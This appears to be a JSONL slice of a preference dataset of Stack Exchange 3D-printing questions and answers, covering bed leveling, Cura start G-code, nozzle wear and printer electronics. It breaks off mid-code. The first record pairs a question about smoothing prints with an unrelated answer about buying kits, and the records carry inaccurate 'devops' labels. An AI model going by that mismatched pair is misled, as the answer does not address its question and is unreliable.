{"id": "hf_04caf61cfd63", "question": "<p>How do I smooth 3D printed objects? What is the best / common method to do this?</p>\n", "question_body": "", "answer": "From a general point of view, there are a few things to consider.\nIf you buy a kit\n:\nPros:\nYou get some insurance that\nyou have all the parts that you need\nto get a functional printer - all the electronics, structure, bolts, nuts, screws, washers, wires and so on.\nMost likely, all the parts you get are made to\nfit together\n.\nYou will (usually) get a\nmanual\n, often a community that can help you out, and sometimes even technical support.\nSometimes, it can be\ncheaper\nthan buying each part separately (but it can also be more expensive)\nCons:\nYou have limited/no options to customize your printer to your own preferences without purchasing additional parts.\nSome kits can be difficult to upgrade later or may be locked to some configuration or software.\nMy opinion:\nThe way I look at it, the better option for\nyou\ndepends on how you want to spend your time. That is:\nIf you get a kit, you can spend more time building.\nIf you collect all the parts yourself, you will have to spend time planning, ordering parts (possibly multiple times) in addition to actually building the printer. A possible lack of manuals could also increase the building difficulty.\nIf you don't already own a 3D printer, I would recommend getting a kit, simply because struggling with trivial things like parts not fitting together can take away the fun for many people.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.591751"}
{"id": "hf_bce0feb3507c", "question": "<p>I have seen lots of printers that print chocolate using a syringe with molten chocolate. But, even cooler, would it be possible to print chocolate using some kind of feed system for <strong>continuous</strong> chocolate printing, so large objects and for a prolonged time, not only lasting the content of one syringe with molten chocolate ?</p>\n\n<p>Things to consider are IMO:  </p>\n\n<ul>\n<li>How to keep the chocolate long enough in a molten, viscous state\nenough to print ?</li>\n<li>Chocolate needs a tempering temperature, which\nmeans it needs to be around 32-37 degrees celsius, else it doesn't\nshine but gets a dull look (or turns white after a while). </li>\n<li>Chocolate\nis food, so you need foodsave equipment in the whole chain that is in\ncontact with the chocolate.</li>\n</ul>\n\n<p>Maybe a peristaltic pump that keeps pumping the molten chocolate to the extruder, which might be a valve that can be open/closed from G-code ?</p>\n", "question_body": "", "answer": "Update: I found a nice article about chocolate printing:\nhttps://all3dp.com/2/chocolate-3d-printer-all-you-need-to-know/\nYou are searching for chocolate extruder. I did not find one, which would fulfill all your requirements. You have to adapt each solution.\nZmorph3d Liquid paste extruder\nhttps://zmorph3d.com/cake-and-chocolate-extruder/\nAccording video on the page you insert chocolate in liquid form. That could be solved with heated chocolate container.\nSyringe based extruders\nhttp://www.open-electronics.org/3drag-is-now-printing-with-chocolate/\nhttp://richrap.blogspot.de/2012/04/universal-paste-extruder-ceramic-food.html\nhttp://www.instructables.com/id/Chocolate-Extruder-for-Ultimaker/\nYou can use a\n2 liters syringe\n. And if this is not enough then you can refill during print.\nConvert pellet extruder\nPrinting from chocolate pellets is simpler then printing from plastic pellets. Therefore if you use foodsave parts to build such a extruder then this is useable for you.\nhttps://www.youmagine.com/designs/universal-pellet-extruder-reprap-3d-printing\nCooling\n3DRAG CHOCO (Chocolate 3d printer) Cooling system explained\nShop\nby Open-Electronics\nExtrude for chocolate\nSyringe Heater for 3Drag chocolate printer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.614991"}
{"id": "hf_280a02e0eec2", "question": "<p>I recently found out carbon fiber and glow in the dark PLA can damage the printer nozzle, now I'm suspicious of all the \"exotic\" filaments.</p>\n\n<p>So, does wood filament cause damage to the nozzle? (under normal use, or at least what someone who only used PLA/ABS before would consider normal use)</p>\n\n<p>Let's assume a normal quality brass nozzle - not some cheap stuff that didn't even came in the correct size to begin with and not some premium reinforeced nozzle - and reasonable quality filament.</p>\n", "question_body": "", "answer": "If you haven't been to their site before, you should check out the forums on 3DHubs. There's a lot of how-to's. A quick Google search yields\nthis\nlink to a similar question.\nThe key thing to note is that in all technicalities, any material you run through the nozzle is going to cause\nsome\nsort of wear on your nozzle.\nHow quickly\ndepends on the material or composition.\nThe answer to the question linked above relates it spot on to sandpaper. If you have sandpaper made out of metal (ie stainless pla), it will scratch your skin fairly easily. If you have sandpaper made out of tree bark (ie laywood pla), it probably won't scratch your skin as bad, but it'll still scratch. And just for poops and giggles, lets say you have sandpaper made out of pla; it'll take a while, but you could eventually make your skin raw if you rub the plastic against your arm long enough.\nIt is typically recommended to use one nozzle for each material type as to avoid cross-contamination of materials in your printing. With this idea in mind, if you are using many types of materials, you can also minimize failed prints due to clogging and other \"damaged nozzle\" type troubles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.639181"}
{"id": "hf_f0c065a035f4", "question": "<p>In general 3D printers are compact and smaller than RP machines. That's ok. But, what's the difference? 3D printers can be used as RP machine too.</p>\n", "question_body": "", "answer": "All rapid prototyping means is automatically producing a physical part from a cad model. 3D printing is a way to achieve rapid prototyping. There are 2 main methods of rapid prototyping: additive, and subtractive.\nA 3D printer is additive- you add materials to an object layer by layer.\nUsually, when people talk about a subtractive machine, they are talking about a CNC mill (or lathe), which tend to be extremely large (most are over one ton). You start with all the material there, and you subtract the material that you don't want. This might be what you are thinking of.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.662413"}
{"id": "hf_78bc4def9f84", "question": "<p>I'm using Cura as my slicing/printing software and I just started using the BuildTak printing surface.</p>\n\n<p>The BuildTak is damaged by pushing a hot nozzle into it and my printer's (Robo3D R1+) autoleveling feature works by pushing the nozzle into the build surface.</p>\n\n<p>Is there a way to configure Cura so that it runs the Z probe first, then heat up the nozzle?</p>\n\n<p>My first sheet of BuildTak already has 10 small holes in it (at the homing position and at the 9 leveling touch points)</p>\n", "question_body": "", "answer": "In Cura (and Slic3r), you can 100% customize what the printer does before printing your actual model through custom\nstart/end g-code\n.\nIf you navigate to the\n```\nStart/End-GCode tab in Cura\n```\n, then select\n```\nstart.gcode\n```\n, you can see what operations are run before each print begins. Lines prefixed with\n```\n;\n```\nare comments, and does not affect the printing in any way.\nBasically, we want to manually tell the printer to do the auto leveling\nbefore\nheating up the nozzle by editing the g-code in\n```\nstart.gcode\n```\n.\nG-Code generated with the default start.gcode:\nIf you try to slice some model with the default code found in\n```\nstart.gcode\n```\n, you will get something like the following (depending on your printer):\n```\n```\n; CURA AUTOMATICALLY INSERTS THESE TEMPERATURE CODES\n\nM190 S70.000000 ; Set bed temperature to 70 degrees\nM109 S210.000000 ; Set nozzle temperature to 210 degrees\n\n; THESE ARE THE CODES FROM START.GCODE (for a ROBO 3D R1) \n\nG28          ;move printer to endstops (the home position)\nG92 E0       ;zero the extruded filament length\nM565 Z-1     ;set z-probe offset\nG1 Z5 F5000  ;move the printer 5mm above the bed\nG29          ;run auto-leveling\n\n; THE ACTUAL MODEL BEGINS HERE\n\n;Layer count: 168\n;LAYER:0\n.\n.\n```\n```\nAnalyzing the g-code output\nAt the top of this code snippet, we can see that Cura automatically inserts g-code for heating up the bed and nozzle to their respective temperatures with the\nM190\nand\nM109\ng-codes. This means the printer always will heat up the nozzle before reading the\n```\nstart.gcode\n```\ns that we set. However, if we manually override\nM109\ncode in\n```\nstart.gcode\n```\n, the\nM109\nat the top will automagically disappear from the generated g-code output! (Thanks, @TomvanderZanden!)\nWe could therefore use the auto-leveling command\nG29\nbefore manually setting the nozzle temperature with\nM109\n; specifically, we want to add\n```\nM109 S{print_temperature}\n```\n, which reads the\n```\nBasic -> Print Temperature\n```\n-setting in Cura, and replace\n```\n{print_temperature}\n```\nwith it automatically.\nManipulating start.gcode:\nIn order to postpone heating the hotend till after probing,\n```\nstart.gcode\n```\ncould be something like:\n```\n```\nG28          ;move printer to endstops (the home position)\nG92 E0       ;zero the extruded filament length\nM565 Z-1     ;set z-probe offset     <-----   ( YOU HAVE TO ADJUST THIS, READ BELOW)\nG1 Z5 F5000  ;move the printer 5mm above the bed\nG29          ;run auto-leveling\nM109 S{print_temperature}    ;set nozzle temperature, and wait for it heat up\n```\n```\nAnd that's about it! You can then use these codes in your\n```\nstart.gcode\n```\n. However, you probably will have to recalibrate your z-prove offset.\nAdjust z-probe offset:\nNormally, auto-leveling is done with the nozzle heated for a reason: when the nozzle is warm, it expands slightly, moving closer to the bed. You might therefore have to adjust your Z-probe offset with the\nM565\ncommand (as demonstrated in the snippet) to account for the increase in nozzle length when warm.\nRemember:\nRemember that when editing g-code in this manner, you will take full control of how the printer operates. You could therefore very well do something unintended, so keep the power switch close!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.709287"}
{"id": "hf_196420d7cf2b", "question": "<p>I am wondering how people that use standalone 3D printers (printers that have the ability to print autonomously from SD Card) feed in filament, prime the printhead and/or change filaments without a laptop ?</p>\n\n<p>Do the printers have a menu to arrange all these tasks ?\nI often only see the options to preheat the head to a certain temperature, but not to load/unload filament, extrude a small amount etc.</p>\n\n<p>I understand this differs from printer to printer, but still am wondering about this.</p>\n", "question_body": "", "answer": "There are options for tablets. They are running software\n(for example)\non some device that has internal storage, wifi, USB connection etc.\nYou can buy a new tablet, or reuse your old one just to be a controller.\nAnother great example is\nthis app\n.\nApps have menus that can arrange everything for you, now it depends on what app do you use and what filament you use. It's very simple thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.734777"}
{"id": "hf_c432bbc3a00d", "question": "<p>I'm thinking of another extruder on my printer, and I'm curious about this one....</p>\n\n<p>Is it necessary to have both hot ends on same height? Why yes / why not? (if there is not)</p>\n", "question_body": "", "answer": "I don't have dual extruder printer myself, but to my understanding having both nozzles leveled at the same height is critical for getting successful prints.\nFor typical FDM printers, the lowest point of the end effector should always be the nozzle. If you, for instance, mount a fan lower than the tip of your nozzle, it will eventually collide with the printed object.\nThe effect of having unequally leveled nozzle tips for a dual extruder printer will be exactly the same: one of the nozzles will either drag against or collide with the model during print; or, one of the nozzles will be to far away from the model, giving poor layer adhesion. Either way, the result will be sub-optimal.\nSo, leveling both nozzles equally is probably a good idea. You might want to have a look at\nthis question\non some advice regarding how to do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.758795"}
{"id": "hf_ea6a2efb969c", "question": "<p>I have searched the internet and found various 3D printers with different advantages and materials which they can print - some even multi color.  </p>\n\n<p>However, I cannot seem to find a printer that can print multiple material with different properties; for instance, simultaneously printing PLA and metal. Is there currently such a printer available or in development? </p>\n", "question_body": "", "answer": "Yes and no.\nfor instance simultanious printing of plas plastic and lets say metal. Is such a printer available or in development ?\nPractically speaking, no.  Metal printing requires significantly higher temperatures than plastic, and the two processes are so incompatible that there is currently no good solutions that would allow one printer to print both in the same print. Whether extruding filament, laser sintering, or curing resins, the materials involved have to be fairly similar in processing environment to print adjacent to each other without issue.\nThere are many printers that are intended to print multiple materials by changing the print head.  You might, for instance, use a ceramic paste extruder, then change the head for the next print using plastic.\nThere have been efforts in the past, and some efforts are ongoing, to resolve this.  For instance wood's metal, a low temperature alloy, can be poured at temperatures compatible with plastics, so it's possible to create a printer that prints plastic, leaving troughs or voids in the plastic, then the same printer during this print would pour molten woods metal into these areas, which then solidifies into an internal metal structure.  These are intended for circuitry and electrical use, however significant problems still exist because the thermal expansion differences in these materials lead to stress and result in poor reliability.\nSo while some of these processes are being developed, this is still just in the experimental stage and there are significant problems to overcome before printers can print widely different materials in a single printing session.\nOf course you can find plastics with such a wide range of characteristics that they can be seen as printing different materials.  Plastics imbued with wood fibers, printing next to conductive plastics with graphite, printing next to flexible plastics, etc, etc are now possible, and depending on your requirements they may meet your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.790788"}
{"id": "hf_0aaa434c21cb", "question": "<p>Is there a good method or tool to level the bed of 3D printers? I find myself making small adjustments a lot and it's mostly just trial-and-error. A normal bubble level is of limited help and trying to figure out if the head is the thickness of a sheet of paper from the bed in all corners is beyond the capability of my vision.</p>\n", "question_body": "", "answer": "The easiest way I know of (unless your printer has a Z-probe and automatic leveling), is to bring the nozzle(s) down fairly close to the bed (maybe 1/4\" or so), and then move it around while watching for anyplace that doesn't look even. Adjust the bed until it seems even. You can just eyeball it, or use a ruler or object to measure.\nThen bring the nozzle down closer, and repeat. Each time you move it closer, you'll be able to eyeball more accurately.\nOnce you're quite close, pull out a 3x5 card, or business card, or similar, and move the nozzle up or down until the card just fits between the nozzle and the bed (with no great pressure, but no space either). Again, move the head all around the bed, and do any remaining (tiny) adjustments so it's the same everywhere.\nOf course if the bed is at all warped this will be much harder, or even impossible. So before starting, put a good-quality straightedge along it to make sure it's actually flat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.815811"}
{"id": "hf_2e2ae7457d4a", "question": "<p>Occasionally, while printing, my <em>y</em> axis will slip and the layer will, from that point forward, be shifted, ruining the print.</p>\n\n<p>What might be the causes of an axis slipping? I have tried cooling the motor which seemed to have been getting warm, and the belts are not too tight.</p>\n\n<p>This does not happen with every print, and seems to be an intermittent problem. </p>\n\n<p>My printer is a MendelMax RepRap, and the <em>y</em> axis is my moving bed.</p>\n", "question_body": "", "answer": "From what I've experienced, there could be three potential reasons.\nYour belt(s) could be loose. Simply loosen your Y-Axis motor and pull the motor until the belt is slightly more than taught (it will relax into a taught position). Then, tighten the motor securely in its place.\nOne of your axis endstops could be triggered mid-print. If you have a larger print, you run the risk of hitting an endstop, which could cause the machine to lose its coordinate system.\nI found on my machine, if you run your program via USB (on MakerWare specifically, possibly others) there might be some sort of lag in the serial connection that could cause the entire program or coordinate system to shift. I repeated this issue multiple time using a USB connection and fixed it (repeatedly) by either running off of an SD card, using a different slicer (in my case the Cura plugin for OctoPi), or trying an earlier version of your software (this was my long term solution).\nThe latter worked best for me. I tried running MakerBot Desktop on my Dual Replicator 1, but ran into the same exact issue as you. In fact, I encountered this issue around firmware 5.0 on the Replicator as well (7.? is the latest). Finally I switched back to using MakerWare 2.4.? and everything worked fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.839974"}
{"id": "hf_78b6a5a7ed68", "question": "<p>From what I understand, it takes a really long time for the heated bed to heat up using an MK2a heated bed.  I've heard some people suggest that using <a href=\"http://forums.reprap.org/read.php?4,584582\" rel=\"nofollow\">Polyisocyanurate (PIR) foam</a> (insulation that takes quite a bit of heat to catch on fire) can be used under the headed bed to make it heat up faster.   </p>\n\n<p>Now of course there are other methods for doing this too, for instance using a larger power supply, but at this point I'd rather just use the parts that I have without re-soldering many of the components on the RAMPS board. </p>\n\n<p>I was wondering what a proper way to attach this to the bed would be for instance, should the springs go on the bottom or on the top of the bed?  Do I need some extra parts?  Are there any other considerations for doing this?</p>\n", "question_body": "", "answer": "If you use a seperate powersupply for your bed (or if your controller has a built in voltage regulator so it doesn't damage at higher voltages) you can sometimes find an small potentiometer near the connection terminals of your powersupply, turning this potentiometer up can raise the outputvoltage of your powersupply by a few volts max. In my case the potentiometer was orange and allowed me to turn up the voltage by almost 2Volts!\nIf your printcontroller is running from the same powersupply and is critical about input DON'T do this since it will damage the electronics.\nBetter option then is to find a higher voltage powersupply and power the bed Seperately.\nA buddy of mine runs his MARK2a bed on 19V and it heats up very fast. (he uses an obscure 15V powersupply that was able to be cranked up to 19V). And he doesn't use insulation at all!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.864325"}
{"id": "hf_f7401d9e706b", "question": "<p>Glass is always level, easy to clean, easy to work with.</p>\n\n<p>Aluminium allows for the addition of automatic bed leveling with an inductive sensor and distributes heat a little more evenly.</p>\n\n<p>When printing mostly ABS and PLA, which one is better?</p>\n", "question_body": "", "answer": "I believe printing directly on aluminium is unwise, simply because it will expand when heated, typically giving the bed a concave or convex shape. Glass, on the other hand, does not (at least not significantly).\nAs pointed out in the comments below, the heat expansion of aluminium could potentially be mitigated by increasing the thickness of the bed, as well as heating it evenly. Also, a common solution is to place a glass plate on top of an aluminium bed, at the cost of a slightly longer heat-up time.\nIn my experience, printing directly on heated glass can be very practical and give a nice surface finish for some PLA variants and other materials that support it. I don't know if printing directly on aluminium can give similar benefits.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.888297"}
{"id": "hf_15ee94a7d523", "question": "<p>I currently print with a .4mm nozzle on my extruder, and my prints seem to come out fairly accurate; would I see much of a difference if I went to a .3mm?</p>\n\n<p>What are the pros and cons of larger and smaller nozzle sizes?</p>\n", "question_body": "", "answer": "My understanding is that the only difference is your range that your layer height can be. For example, the optimal layer heights for a 0.4mm nozzle fall between 0.1-0.3mm. So, we can assume a smaller nozzle will yield a lower range. Keep in mind that varying sizes in the nozzle could produce complications more prominently than with a standard size. Things such as ooze, clogging, and filament backup may occur with a smaller nozzle size if your slicing engine is not setup correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.912215"}
{"id": "hf_c3510d97ac30", "question": "<p>Some electronics come as a single PCB. They have CPU and everything on just one board.</p>\n\n<p>Other electronics are a shield for an Arduino. So these are always two boards. The Arduino and the other PCB.</p>\n\n<p>You probably don't want to exchange the Arduino unless it is broken. Does it break that often or are the two boards just the predecessors of the one board solution?</p>\n\n<p>What are the benefits/downsides to having one/two boards?</p>\n", "question_body": "", "answer": "Many 3d printer motherboards are based on Arduino/Atmega microcontroller and just add some stepper motor drivers, MOSFETs and such in a single board. That explains why you use the Arduino IDE to update or modify their firmware.\nNow why you would want to use an Arduino + an Arduino shield board like RAMPS? Well if you're not good at electronics, are happy with the cost of your own board, don't care much about upgrades/modding beyond what is possible with your board, maybe you shouldn't, it might be overwhelming.\nThere are several advantages with using Arduino with a shield for your 3d printer, \"two boards are not just the predecessors of the one board solution\", no.\n1) It is moddable/exandable/upgradable/has replacable parts.\nIf your printer came with its own motherboard that doesn't have additional or enough pins to add more fans, enclosure lights, a second extruder, an LCD and you want to, it sucks. RAMPS can do that, it has plenty of extra pins.\nIt is upgradable. You want to replace the stepper drivers with a new one? Or you accidentally damaged the one you have? Fear not, you can just replace that instead of the whole motherboard.\nThink if it like other motherboards being PCs on which you can't change the CPU, RAM and GPU.\n2) It is here for a long time, you will be able to acquire one for a long time.\nThere isn't just one company making RAMPS or similar sheilds. Sometimes 3d printing companies go out of business or stop producing your particular motherboard. RAMPS is likely here to stay. Because Arduino is very likely here to stay.\n3) As said above, not just one company owns or makes RAMPS or other Arduino shields. Besides the possibility of your motherboard not being produced anymore, there's also the advantage of not being at the mercy of one companies pricing and shipping policies. This is true for some other boards as well though.\n4) It is possibly cheaper than what have you. I don't want to post a link, but one company right now is selling their derivative of Printrboard for like $180. Check the cost of Arduino Mega, stepper drivers and a RAMPS board yourself, quite a difference. That said, there are some boards which are close in price.\n5) It's an Arduino. Why is this a good thing by itself? Because many people who have a 3d printer are tinkerers/makers and they already use Arduino for other projects. It is open source with a rich library to control many things. The modding and upgrades for your 3d printer which can be done with Arduino is another level higher. Or it can be a good learning experience for your future Arduino projects. If on the other hand you already use Arduino and are experienced with it, you might use it just because you know how to control it/fix it better than some specialized board you haven't seen before. Plus for a guy like you your 3d printer's motherboard will be an \"off-the-shelf\" part, that's nice, right?\nVideo on RAMPS:\nhttps://www.youtube.com/watch?v=FYJn6FuWOv4", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.947274"}
{"id": "hf_eaac3c2af80f", "question": "<p>My printer has an auto-leveling feature that works by touching the build plate with the tip of the nozzle.</p>\n\n<p>I started using a BuildTak surface and BuildTak is damaged when you push a hot nozzle into it.</p>\n\n<p>So I edited the start G-code to run the auto-leveling before heating up the hotend</p>\n\n<p>But ABS doesn't stick to the build surface unless I pre-heat the hotend and wait about a minute.</p>\n\n<p>So now I'm looking for a G-code command to put at the end of the start G-code that will make the printer wait a minute before printing</p>\n\n<p>The sequence I'm looking for is:</p>\n\n<ul>\n<li>Heat up the bed</li>\n<li>Auto level</li>\n<li>Raise the hotend a little bit so it doesn't touch the build plate</li>\n<li>Heat up the hotend</li>\n<li><em>Wait a minute (that's the only part that is missing, everything else works)</em></li>\n<li>Start printing</li>\n</ul>\n\n<p>Any way to insert a delay into the G-code?</p>\n\n<p>I'm using Cura to slice/print, my printer is Robo3D R1+</p>\n", "question_body": "", "answer": "An alternative solution to using a hard delay with the\nG4 dwell command\n, is to increase the time that the temperature set with\nM109\nhas to be held before it continues with the next command.\nIn Marlin, this setting is named\n```\nTEMP_RESIDENCY_TIME\n```\n, and can be found around line 150 in\n```\nConfiguration.h\n```\n. By default, this is set to 5 seconds, which looks like:\n```\n```\n// Actual temperature must be close to target for this long before M109 returns success\n#define TEMP_RESIDENCY_TIME 5  // (seconds)\n```\n```\nIf increasing this setting solves your exact problem, I cannot say, but it could be worth looking into.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.968291"}
{"id": "hf_b628050a09e1", "question": "<p>Most electronics use micro-controllers like an AVR, but I'm seeing ARM chips in new electronics. ARM chips are said to be more powerful, but in what areas related to 3D printing could this help?  What are the features that the AVR struggles with and where an ARM could be better?</p>\n\n<p>High Speed movement? Delta printers? Graphic display?</p>\n\n<p>And is the AVR really the limitation there?</p>\n", "question_body": "", "answer": "Generally, AVR is in fact less powerful than many ARM cores used today. Most printers with AVRs don't have floating-point coprocessors, although a lot of the step and movement control can be done in integer-only math (except for G2/G3). Marlin can interrupt for step handling\nup to 10000 times per second\non AVR, translating to 40000 steps per second. This isn't particularly useful without mechanical components that can move at those speeds and still print meaningful results (or are far more precise and have a far higher step-count-per-mm at a similar speed).\nGraphic display isn't a particularly taxing thing to do at\nlow\nspeeds--high speeds or weird interfaces might require a bit more power or a dedicated interrupt.\nThe times when ARM might be important are for more math-heavy and especially floating-point-heavy setups such as delta, where every move requires many floating-point and trig operations, and navigation in menus on a 16MHz AVR (atmega2560)\nis described as\n\"painfully slow\", but Marlin does succeed in printing meaningful results on delta-style printers.\nClearly, an ARM core that is either faster at performing soft floating-point, or supports hardfloat (hardware that does floating point operations very efficiently) will see a benefit for such processes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:43.999562"}
{"id": "hf_8ab61660874a", "question": "<p><strong>I  was wondering if this printer(daVinci 1.0) had the ability to print very small objects, like insects, coins, or small nuts. (About the size of 1 -2 cubic centimeters)</strong></p>\n\n<p><a href=\"http://us.xyzprinting.com/us_en/Product/da-Vinci-1.0-AiO\" rel=\"nofollow\">Here</a> is a link to the printer on the website.</p>\n\n<p>The reason I ask is someone asked me if it was able to, but I have not been able to access the actual 3-D printer for use at this time, just manuals which I have looked through.</p>\n\n<p><strong>So if the 3-D printer was able to print small objects, would a novice be able to do such a thing?</strong></p>\n\n<p>Please let me know if any additional details are needed. </p>\n", "question_body": "", "answer": "1) If we're talking about FFF/FDM printers:\nAccuracy of the electronics and motors allows it, yes.\nBut how FDM printers work it might be very hard to lay down layers of molten plastic so small as to preserve little details in the X and Y axis, not much of a problem doing 20 micron layer height though (Z resolution).\nCheck this answer to find out what the X and Y resolution is and what it depends on:\nhttps://3dprinting.stackexchange.com/a/509/381\nYou'll need both a small enough nozzle, as well as somehow cool the plastic because since the printed objects are so tiny the nozzle keeps contact with the surface surrounding it and heats it longer, which might melt the whole object or even char it.\nI've seen very few people do tiny prints with success. And the smallest nozzles I know are 250 micron.\nNot trying to dscourage you, just letting you know. If it was easy to do I think more people would be doing it and more companies would be advertising their printers as capable of such a thing\nSo you'll have around 20 micron Z resolution and around maybe 200 in the X/Y.\nIf that's enough for you, then you could try. Calibrating it all won't be easy, tiniest backlash will be noticeable.\n2) It's a lot easier with curing resin 3d printers (SLA or DLP). Most of them actually have trouble printing larger objects, ironically (trouble sticking to the bed and cracking of the 3d print).\nEven here badly calibrated lasers would prevent you from doing this and even many Form 1 users have reported their lasers being assembled poorly resulting in poor beam profile.\nSize of the laser beam profile (aka laser \"spot size\") is what determines the X/Y resolution for SLA 3d printers. With the Form 2 its 140 micron, unless you'll get a badly calibrated printer.\nFor DLP printers it's easier, it's the resolution of the DLP projector divided from the size of the print area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.043825"}
{"id": "hf_241dc5fe7ace", "question": "<p>I have a Printrbot Simple Metal. The extruder is getting clogged all the time. I went through the process demonstrated <a href=\"https://www.youtube.com/watch?v=L_qP5AsnQNQ\" rel=\"noreferrer\">here</a> multiple times already. Heatting the extruder and pushing different tools all the way through to make sure it is completely clear. \nEvery time I get a clear flow of PLA, and after a few minutes the extruder motor starts clicking again. At that point, it is even hard to push in the filament by hand.<br>\nI replaced the tip already, but this didn't make any difference. I also tried few different filaments, all of them worked perfectly before.<br>\nIt feels like stopping the flow even for about 30 seconds would cause it to jam.</p>\n", "question_body": "", "answer": "I'm not sure if this is particularly the issue for you right now, but I have encountered the tension on my drive gear being too high.\nBefore I upgraded my extruder to the spring loaded mechanism, my extruder used a Delrin plunger to provide tension against the filament towards the drive gear. This plunger used copper washers to help adjust the tension required. Many people ended up upgrading their assemblies to the spring loaded mechanism as the plunger would either put too much or too little tension against the drive gear. Too little and the filament will not be driven into the hotend. Too much and the filament will grind against the drive gear and the drive gear may begin to \"eat\" away at the filament (especially when the filament becomes hotter). Obviously, if the drive gear is no longer able to catch on the filament, the nozzle will get clogged.\nHowever, even with a spring mechanism, your tension can become too high. Most of these mechanisms allow you to adjust the tension by tightening/loosening the screw holding down the spring. The \"sweet spot\" for me is just past when the filament can be successfully driven into the hotend. You can test this if you have control over your extrusion motor by removing the extrusion motor from its mount, leaving the spring mechanism installed on the face of the motor. Then, turn your motor on and try feeding the filament through the mechanism. Starting with no tension on the spring, begin slowly increasing tension by tightening the screw on your mechanism until the drive gear is successfully able to guide the filament through. I might even complete another half turn on the screw to account for varying diameters and plasticity states of the filament as it becomes hot.\nHopefully this helps and please keep us updated on anything else you find.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.080278"}
{"id": "hf_1e17f53a869f", "question": "<p>On a Cartesian printer movements are really simple. If we assume the printer has 100 steps/mm on each axis, then a move of 10mm on a axis is just 1000 Steps on that axis.</p>\n\n<p>Movements that are not aligned with one axis are also simple. Moving from x,y = 0,0 to 10,10 would be 1000 steps on x and y.</p>\n\n<p>On deltas even for simple moves more than one motor has to move. And just calculating the amount of steps on each axis needed to reach the destination probably gives a curved move.</p>\n\n<p>So what is the algorithm to calculate the steps for a given move for a delta printer?</p>\n", "question_body": "", "answer": "I am describing how this is done in the Marlin firmware.\nThe first step is to split a linear movement from (x, y, z) to (x', y', z') into many discrete segments. To this end, the amount of time the move would take at a given speed is calculated, and the value\ndelta_segments_per_second\nis used to calculate the number of segments used.\nThis is done in the function\nprepare_move_delta\nin the file Marlin_main.cpp. The endpoints of each of these segments is then passed to the function\ncalculate_delta\n:\n```\n```\nvoid calculate_delta(float cartesian[3]) {\n    //reverse kinematics.\n    // Perform reversed kinematics, and place results in delta[3]\n    // The maths and first version has been done by 